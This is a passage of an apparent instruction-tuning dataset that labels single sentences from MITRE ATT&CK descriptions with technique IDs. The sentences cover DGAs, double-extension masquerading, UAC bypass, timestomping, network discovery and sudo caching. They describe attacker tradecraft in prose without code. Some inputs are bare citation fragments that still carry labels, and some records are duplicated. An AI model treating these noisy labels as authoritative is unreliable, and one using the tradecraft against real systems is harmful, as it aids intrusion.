Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net).", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc).", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation:", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Akamai DGA Mitigation)", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Akamai DGA Mitigation) ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008).", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation:", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye POSHSPY April 2017)(Citation:", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye POSHSPY April 2017)(Citation: ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ESET Sednit 2017 Activity)", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ESET Sednit 2017 Activity) ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site) ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type.", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>).", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>). ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, the second extension is the true file type that determines how the file is opened and executed.", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, the second extension is the true file type that determines how the file is opened and executed. ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system\u2019s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension)", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system\u2019s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads.", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code.", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user\u2019s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user\u2019s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "then [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: then [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an executable file attachment named <code>Evil.txt.exe</code> may display as <code>Evil.txt</code> to a user.", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an executable file attachment named <code>Evil.txt.exe</code> may display as <code>Evil.txt</code> to a user. ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign.", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.", "output": "T1036.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type. ### Response: T1036.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bypass UAC mechanisms to elevate process privileges on system.", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bypass UAC mechanisms to elevate process privileges on system. ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works) ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation)", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access.", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows) ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many methods have been discovered to bypass UAC.", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many methods have been discovered to bypass UAC. ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses.", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit) ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass) ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities.", "output": "T1099", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. ### Response: T1099."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.", "output": "T1099", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. ### Response: T1099."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.", "output": "T1099", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. ### Response: T1099."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.", "output": "T1099", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. ### Response: T1099."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: WindowsIR Anti-Forensic Techniques)", "output": "T1099", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: WindowsIR Anti-Forensic Techniques) ### Response: T1099."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems.", "output": "T1016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. ### Response: T1016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several operating system administration utilities exist that can be used to gather this information.", "output": "T1016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several operating system administration utilities exist that can be used to gather this information. ### Response: T1016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).", "output": "T1016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103). ### Response: T1016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. <code>show ip route</code>, <code>show ip interface</code>).(Citation:", "output": "T1016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. <code>show ip route</code>, <code>show ip interface</code>).(Citation: ### Response: T1016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )", "output": "T1016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion ) ### Response: T1016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.", "output": "T1016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ### Response: T1016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may check for Internet connectivity on compromised systems.", "output": "T1016.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may check for Internet connectivity on compromised systems. ### Response: T1016.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites.", "output": "T1016.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites. ### Response: T1016.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them.", "output": "T1016.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. ### Response: T1016.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The results may also be used to identify routes, redirectors, and proxy servers.", "output": "T1016.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The results may also be used to identify routes, redirectors, and proxy servers. ### Response: T1016.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may do this to execute commands as other users or spawn processes with higher privileges.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may do this to execute commands as other users or spawn processes with higher privileges. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Within Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Within Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "\"(Citation: sudo man page 2018)", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: \"(Citation: sudo man page 2018) ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is because <code>sudo</code> has the ability to cache credentials for a period of time.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is because <code>sudo</code> has the ability to cache credentials for a period of time. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again). ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response 